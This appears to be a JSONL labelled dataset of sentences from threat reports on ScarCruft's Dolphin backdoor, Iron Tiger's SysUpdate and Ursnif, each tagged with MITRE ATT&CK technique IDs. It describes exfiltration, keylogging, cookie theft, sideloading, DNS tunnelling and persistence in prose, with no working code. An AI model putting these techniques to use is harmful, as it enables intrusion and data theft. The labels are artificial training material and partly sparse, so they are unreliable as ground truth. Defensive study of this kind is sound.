{"sentence": "Dolphin backdoor Dolphin is a backdoor that collects information and executes commands issued by its operators.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The backdoor is a regular Windows executable, written in C++.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It communicates with Google Drive cloud storage, which is used as its C&C server.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "After execution, the output of commands is uploaded.", "labels": ["T1041"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "File exfiltration By default, Dolphin searches all non-fixed drives (USBs), creates directory listings and exfiltrates files by extension.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This search can be extended to fixed drives (HDDs), via dedicated commands.", "labels": ["T1005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The following file extensions of interest, specific to media, documents, emails, and certificates, are specified in the default configuration: jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rtf, nxl, amr, 3gp, m4a, txt, msg, key, der, cer, docx, xlsx, pptx, pfx, mp3 Besides this automatic search, specific files can be exfiltrated.", "labels": ["T1005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In the newer versions, the default search was extended to fixed drives.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Portable devices Among regular drives, Dolphin also searches portable devices such as smartphones, using the Windows Portable Device (WPD) API.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It creates directory listings and exfiltrates files.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This functionality appeared to be under development in the first version we found, for several reasons: Relying on a hardcoded path with a username that likely doesn’t exist on the victim’s computer Missing variable initialization – some variables are assumed to be zero-initialized, or dereferenced as pointers without initialization Missing extension filtering The code is heavily based on Microsoft’s Portable Devices COM API code sample.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Apart from automatic search, the operators can specify individual files to be exfiltrated from portable devices.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In newer versions, this capability was finished and improved by adding extension filtering.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Keylogging and screenshots Dolphin logs keystrokes for windows with titles containing substrings specified in its configuration.", "labels": ["T1056.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This is done via the GetAsyncKeyState API, with keystrokes being logged along with the window name and current time.", "labels": ["T1056.001", "T1106"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Shellcode Dolphin can receive shellcode for execution.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It can be executed either locally or in a specified separate process that is created and injected.", "labels": ["T1055"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In the newer versions, the shellcode is stored in files instead of the registry, and the stored shellcode is loaded and executed on Dolphin’s startup, which was not the case in version 1.9 (the original version we analyzed).", "labels": ["T1547.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Stealing credentials Dolphin can retrieve credentials from browsers in the form of saved passwords and cookies.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It was later restored in version 3.0, but in a different form.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It is now dynamically received from the C&C in the form of shellcode.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Google account Another one of Dolphin’s commands modifies the settings of the currently logged-in Google account, lowering its security relative to default settings.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It steals the existing cookie of the logged-in account from the browser and crafts requests that modify the settings.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Then it enables “less secure app access” by sending an undocumented RPC request via an HTTP POST to: https://myaccount.google.com/_/AccountSettingsUi/data/batchexecute These modifications are referred to as “thunder access” in the backdoor, likely being a reference to the Thunderbird email client.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This feature was found in versions 1.9 and 2.0 of the backdoor; it is not present in versions 2.2 or 3.0.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Data staging Dolphin exfiltrates data to Google Drive storage, staging the data in encrypted ZIP archives before upload.", "labels": ["T1041", "T1074.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This list can be reset via a dedicated command.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Configuration The backdoor contains an initial default configuration that is persisted on first run and loaded on subsequent runs.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It is stored in the file %ProgramData%\\<variable_cfg_name>.inf, where <variable_cfg_name> is randomly selected from existing filenames matching %windir%\\inf\\*.inf.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The configuration uses JSON format, with hash-like keys.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It contains, among others, the following: Encryption keys Credentials for Google Drive API access Window titles to keylog List of file extensions to exfiltrate Dolphin evolution Since the initial discovery of Dolphin in April 2021, we have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.", "labels": ["T1056.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin evolution timeline November 2021 – version 2.0 Version 2.0 introduced the following changes to the version found in April 2021:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The credential-stealing capability and commands related to it – the credential stealing and Google account commands – were removed.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Most strings in this version are base64 encoded.", "labels": ["T1027"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In version 3.0, the code was reorganized and classes renamed, with capabilities remaining unchanged.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "We observed the following additional changes: Command to steal credentials restored in a different form; it now executes shellcode from the C&C Command to get files from portable devices completely removed Command to get files from drives is now cached/stored in the configuration until completion.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "If interrupted (for example by computer shutdown), it is done on the next run.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "This is also useful in the case of removable drives that may not be connected when the command is issued.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Internet connection check added (https://www.microsoft.com); no malicious code is executed if offline The differences between versions 2.2 and 3.0, especially the discrepancy in string encoding, suggest the possibility that the versions were being developed in parallel by different people.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Conclusion Dolphin is another addition to ScarCruft’s extensive arsenal of backdoors abusing cloud storage services.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "After being deployed on selected targets, it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.", "labels": ["T1041", "T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "One unusual capability found in prior versions of the backdoor is the ability to modify the settings of victims’ Google and Gmail accounts to lower their security, presumably in order to maintain account access for the threat actors.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "During our analysis of multiple versions of the Dolphin backdoor, we saw continued development and attempts to evade detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "IoCs SHA-1FilenameESET detection nameDescription F9F6C0184CEE9C1E4E15C2A73E56D7B927EA685BN/AWin64/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "QETDolphin backdoor version 2.0 (x86) 21CA0287EC5EAEE8FB2F5D0542E378267D6CA0A6N/AWin64/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "MSDolphin backdoor version 2.0 (x64) D9A369E328EA4F1B8304B6E11B50275F798E9D6BN/AWin32/Agent.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "MSDolphin backdoor version 3.0 (x64) MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "TacticIDNameDescription Initial AccessT1189Drive-by CompromiseScarCruft uses watering-hole attacks to compromise victims.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ExecutionT1059.006Command and Scripting Interpreter:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "PythonThe Dolphin loader a uses Python script.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1059.007Command and Scripting Interpreter: JavaScriptScarCruft used malicious JavaScript for a watering-hole attack. T1203Exploitation for Client ExecutionScarCruft exploits CVE-2020-1380 to compromise victims.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1106Native", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "PersistenceT1053.005Scheduled Task/Job: Scheduled TaskDolphin uses a temporary scheduled task to start after installation. T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderDolphin uses Run keys for persistence of its loader.", "labels": ["T1053.005", "T1547.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Defense EvasionT1055.002Process Injection: Portable Executable InjectionDolphin can inject into other processes.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1539Steal Web Session CookieDolphin can obtain cookies from browsers.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "DiscoveryT1010Application Window DiscoveryDolphin captures the title of the active window.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1083File and Directory DiscoveryDolphin can obtain file and directory listings.", "labels": ["T1083"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1082System Information DiscoveryDolphin obtains various system information including OS version, computer name and RAM size.", "labels": ["T1082"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1033System Owner/User DiscoveryDolphin obtains the victim’s username.", "labels": ["T1033"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1124System Time DiscoveryDolphin obtains the victim’s current time.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "CollectionT1056.001Input Capture:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "KeyloggingDolphin can log keystrokes.", "labels": ["T1056.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1005Data from Local SystemDolphin can collect files from local drives.", "labels": ["T1005"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1025Data from Removable MediaDolphin can collect files from removable drives.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "CaptureDolphin can capture screenshots.", "labels": ["T1113"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Command and ControlT1071.001Application Layer Protocol: Web ProtocolsDolphin uses HTTPS to communicate with Google Drive.", "labels": ["T1071.001"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "T1102.002Web Service: Bidirectional CommunicationDolphin communicates with Google Drive to download commands and exfiltrate data.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ExfiltrationT1020Automated ExfiltrationDolphin periodically exfiltrates collected data.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "APT & Targeted Attacks Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting We detail the update that advanced persistent threat (APT) group Iron Tiger made on the custom malware family SysUpdate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "In this version, we also found components that enable the malware to compromise Linux systems.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "In 2022, we noticed that they updated SysUpdate, one of their custom malware families, to include new features and add malware infection support for the Linux platform.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We found the oldest sample of this updated version in July 2022.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "At the time, we attributed the sample to Iron Tiger but had not yet identified the final payload.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "It was only after finding multiple similar payloads in late October 2022 that we looked further and found similarities with the SysUpdate malware family that had also been updated in 2021.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Both changes make reverse engineering the samples longer.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Campaign development timeline These are the key dates for understanding the chronology of Iron Tiger’s operations: Apr. 2, 2022: Registration of the domain name linked to our oldest Windows sample of SysUpdate May 11, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The command and control (C&C) infrastructure was set up.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "June 8, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "While this could have been tampered with, observed compilation date of our oldest Windows sample. July 20, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Oldest Windows sample gets uploaded to Virus Total Oct. 24, 2022:", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We think the gap between the two updates allows the attackers to plan their operations accordingly.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The malicious rc.dll loads a file named rc.bin in memory.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "It then runs Stage 2 via process hollowing.", "labels": ["T1055"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The “installation” step is considered simple wherein the malware moves the files to a hardcoded folder.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Depending on the privileges of the process, the malware either creates a registry key or a service that launches the moved executable rc.exe with one parameter.", "labels": ["T1112", "T1569.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "This ensures that the malware will be launched during the next reboot, skipping the installation part.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "SysUpdate’s seemingly legitimate executables and their respective sideloaded files Legitimate application name Certificate signer Side-loaded DLL name Loaded binary file name INISafeWebSSO.exe Initech inicore_v2.3.30.dll inicore_v2.3.30.bin rc.exe Microsoft rcdll.dll rcdll.bin dlpumgr32.exe DESlock DLPPREM32.dll sv.bin GDFInstall.exe UBISOFT ENTERTAINMENT GameuxInstallHelper.DLL sysconfig.bin route-null.exe Wazuh libwazuhshared.dll wazuhext.bin route-null.exe Wazuh libwazuhshared.dll agent-config.bin wazuh-agent.exe Wazuh libwinpthread-1.dll wazuhext.bin We want to highlight that this is the first time we observed a threat actor abusing a sideloading vulnerability in a Wazuh signed executable.", "labels": ["T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "It is highly likely that Iron Tiger specifically looked for this vulnerability to appear legitimate in the victim’s environment.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We have notified the affected victim of this intrusion but received no feedback.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Malware features Looking at the features, several of the functions found in the latest update are similar to the previous SysUpdate version: Service manager (lists, starts, stops, and deletes services) Screenshot grab Process manager (browses and terminates processes) Drive information retrieval File manager (finds, deletes, renames, uploads, downloads a file, and browses a directory)", "labels": ["T1057", "T1059.003", "T1070.004", "T1083", "T1105", "T1113"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Command execution Iron Tiger also added a feature that had not been seen before in this malware family:", "labels": ["T1059.003"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "While DNS is not supposed to be a communication protocol, the attacker abuses this protocol to send and receive information.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "C&C communication with DNS TXT records First, the malware retrieves the configured DNS servers by calling the GetNetworkParams API function and parsing the DnsServerList linked list.", "labels": ["T1106"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "If this method fails, the malware uses the DNS server operated by Google at IP address 8.8.8.8.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "For the first request, the malware generates a random number of 32 bits and appends 0x2191 to it.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "This is because the random number changes every time, but the end is the same “0x2191” result.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "This explains why the first DNS request always ends with “reeaaaaaa.<c&c domain>”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "In all versions, the malware retrieves information on the infected machine and sends it to the C&C encrypted with DES.", "labels": ["T1041", "T1573.001"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Configuration structure Field content Length (in bytes) Comment Example Header 4", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We only found one value 0x00000001 GUID 38 Follows the Microsoft format {89D0E853-FA08-4f94-A5FE-A90E6869E074} Size of the C&C section 4 0x00000018 Size of the next C&C domain name and port 4 0x00000014 C&C type 1 0x01 = regular C&C 0x05", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "= DNS tunneling 0x00", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "= regular C&C 0x01 C&C domain name Variable dev.gitlabs.me Port number 4 0x00000050 Size of next section 4 Next section contains all the hardcoded names (folder, files, registry values) 0x00000034 Name of the hardcoded directory where files are copied Variable The folder is located either in % gtdcfp Name of the executable vulnerable to side loading Variable TextInputHost.exe Name of the malicious side-loaded DLL Variable rc.dll Name of the binary file containing the encoded Stage 1 Variable rc.bin Name of the service or registry key value used for persistence Variable gtdcfp We noted that Stage 2 does not embed the configuration file, which is copied in memory by the previous stage.", "labels": ["T1074.001", "T1574.002"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We only saw one case where there was only one stage being decrypted in memory and the configuration was hardcoded.", "labels": ["T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Interestingly, all the samples of this “new” version had a domain name as its C&C. In the previous version of SysUpdate, the group used hardcoded IP addresses as C&C. It is possible that this change is a consequence of the new DNS TXT records’ communication feature as it requires a domain name.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "SysUpdate samples for Linux While investigating SysUpdate’s infrastructure, we found some ELF files linked to some C&C servers.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "For example, the file handling functions are almost the same.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "It is possible that the developer made use of the Asio library because of its portability across multiple platforms.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Table 3.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "[Unit] Description=xxx [Service] Type=forking ExecStart=<path to current file> -x ExecStop=/usr/bin/id [Install] WantedBy=multi-user.target After running the code dependent on the parameters, if the operator has not chosen a GUID with the “-f” parameter, the malware generates a random GUID and writes it to a file similarly named as the current file, with a “d” appended to it.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "For the DNS C&C communication version, the malware retrieves the configured DNS server by reading the content of the /etc/resolv.conf file, or uses the DNS server operated by Google at IP address 8.8.8.8.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "In 2022, we already noticed that this threat actor was interested in platforms other than Windows, with the rshell malware family running on Linux and Mac OS.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "For these reasons, we would not be surprised to see SysUpdate samples for the Mac OS platform in the future.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Interestingly, most of the Linux samples we found used the new DNS tunneling feature we detailed in Figure 2, while only one of the Windows’ samples used it.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The email address linked to the Authenticode certificate also links to that domain name.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "VMProtect is a commercial software intended to make analysis of code extremely difficult by implementing a custom virtual machine with non-standard architecture.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The software has been used by multiple APT and cybercrime groups in the past to obfuscate their malware.", "labels": ["T1027"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "When searching on malware repositories for other files signed by the same certificate, we find multiple files named “VMProtectDemo.exe”, “VMProtect.exe”, or “VMProtect_Con.exe”, which suggests that an official demo version of VMProtect is also signed by this certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Interestingly, the threat actor not only signed some of its malicious executables with the stolen certificate, but also used VMProtect to obfuscate one of them.", "labels": ["T1027"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "In late January 2023, a Redline stealer sample (detected by Trend Micro as TrojanSpy.Win32.REDLINE.YXDA1Z, SHA256: e24b29a1df287fe947018c33590a0b443d6967944b281b70fba7ea6556d00109) signed by the same certificate was uploaded.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We do not believe that the stealer is linked to Iron Tiger, considering that the network infrastructure is different, and previous reports document the malware’s goals to be centered on committing cybercrime than data theft.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "This could mean other users managed to extract the same private key from the VMProtect demo version, or it was sold in the underground to different groups, Iron Tiger among them.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "However, we noticed that one of the executables packed with VMProtect and signed with the stolen certificate was named “youdu_client_211.9.194.exe”.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Youdu is the name of a Chinese instant messaging application aimed for use of enterprise customers.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Its website mentions multiple customers in many industries, some of them in critical sectors such as government, energy, healthcare, or banking.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The properties of the malicious file also match the usual Youdu version numbering.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Comparing the properties of the malicious file (left), and properties of the legitimate Youdu installer (right)", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "As seen in the product name identified in the malicious file’s properties, we searched for possible products named “i Talk” but did not find any that could be related to this investigation.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The file was also signed with the VMProtect certificate but it was not obfuscated.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Analyzing its details, the malware first parses the “Local State” file to retrieve the AES key used to encrypt the cookies and passwords.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "It proceeds to copy the “Cookies” file to a temporary file “chromedb_tmp”, extracts multiple fields from it using an SQL query, and then decrypts the content before copying the result to the “cookies.txt” file.", "labels": ["T1140"], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Some specific cookies related to Google domain names are ignored, probably because they are mostly related to specific Google features or tracking that are considered useless by the threat actor.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We found those samples were uploaded on November 2021 and August 2022, meaning this stealer existed since at least late 2021.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Targeting We identified one gambling company in the Philippines as compromised by this campaign.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "This was not surprising as we have noticed this threat actor targeting this industry since 2019 during our Operation DRBControl investigation, and later in 2021 with an update of SysUpdate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "As stated in the “Infection Vector” section, we noticed the Youdu chat application was probably used as a lure.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "It also corroborates this threat actor’s interest in the gambling industry and the South East Asia region, as we previously noted in 2020 and 2021.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "We expect to find further updates of these tools in the future to accommodate other platforms and apps.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "As an additional warning, we want to highlight that the targeting can be wider than the samples and targeting we have already observed.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Win32.HYPERBRO.ENC) signed with a stolen Cheetah certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "The BfV, a German governmental entity, published a report in January 2022 mentioning attacks against German companies with HyperBro samples that were also signed with the same certificate.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "In October 2022, Intrinsec reported an incident in a French company also using HyperBro samples matching the structure we described in our 2021 investigation.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "This shows the threat actor is likely to reuse the tools mentioned here in future campaigns that might target different regions or industries in the short and long term.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Considering the active campaign and regular developments made on this malware family, organizations are advised to enhance and broaden their current and established security measures, and heighten overall vigilance for possible infection vectors that can be abused by this threat group.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Indicators of Compromise (IOCs) Download the full list of indicators here.", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Authors Daniel Lunghi Threat Researcher", "labels": [], "doc_title": "Iron Tigers SysUpdate Reappears Adds Linux Targeting"}
{"sentence": "Unwrapping Ursnifs Gifts -", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The DFIR Report url: https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ In late August 2022, we investigated an incident involving Ursnif malware, which resulted in Cobalt Strike being deployed.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "The Ursnif malware family (also commonly referred to as Gozi or ISFB) is one of the oldest banking trojans still active today.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "For this report, we have referred to the malware as Ursnif for simplicity, however we also recommend reading Mandiant’s article on LDR4.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
{"sentence": "Case Summary In this intrusion, a malicious ISO file was delivered to a user which contained Ursnif malware.", "labels": [], "doc_title": "Unwrapping Ursnifs Gifts  The DFIR Report"}
